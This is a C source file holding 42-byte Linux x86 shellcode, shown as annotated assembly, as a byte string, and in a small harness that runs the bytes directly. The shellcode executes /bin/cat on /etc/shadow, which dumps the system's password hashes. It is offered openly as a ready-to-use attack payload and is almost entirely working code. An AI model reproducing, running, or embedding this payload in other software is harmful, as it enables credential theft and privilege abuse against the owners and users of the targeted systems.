/* * Title: linux/x86 execve(/bin/cat, /etc/shadow, NULL) - 42 bytes * Type: Shellcode * Author: antrhacks * Platform: Linux X86 */ /* ASSembly 31 c0 xor %eax,%eax 50 push %eax 68 2f 63 61 74 push $0x7461632f 68 2f 62 69 6e push $0x6e69622f 89 e3 mov %esp,%ebx 50 push %eax 68 61 64 6f 77 push $0x776f6461 68 2f 2f 73 68 push $0x68732f2f 68 2f 65 74 63 push $0x6374652f 89 e1 mov %esp,%ecx 50 push %eax 51 push %ecx 53 push %ebx 89 e1 mov %esp,%ecx b0 0b mov $0xb,%al cd 80 */ int main(){ char shell[] = "\x31\xc0" "\x50" "\x68\x2f\x63\x61\x74" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x68\x61\x64\x6f\x77" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x65\x74\x63" "\x89\xe1" "\x50" "\x51" "\x53" "\x89\xe1" "\xb0\x0b" "\xcd\x80"; printf("[*] Taille du ShellCode = %d\n", strlen(shell)); (*(void (*)()) shell)(); return 0; }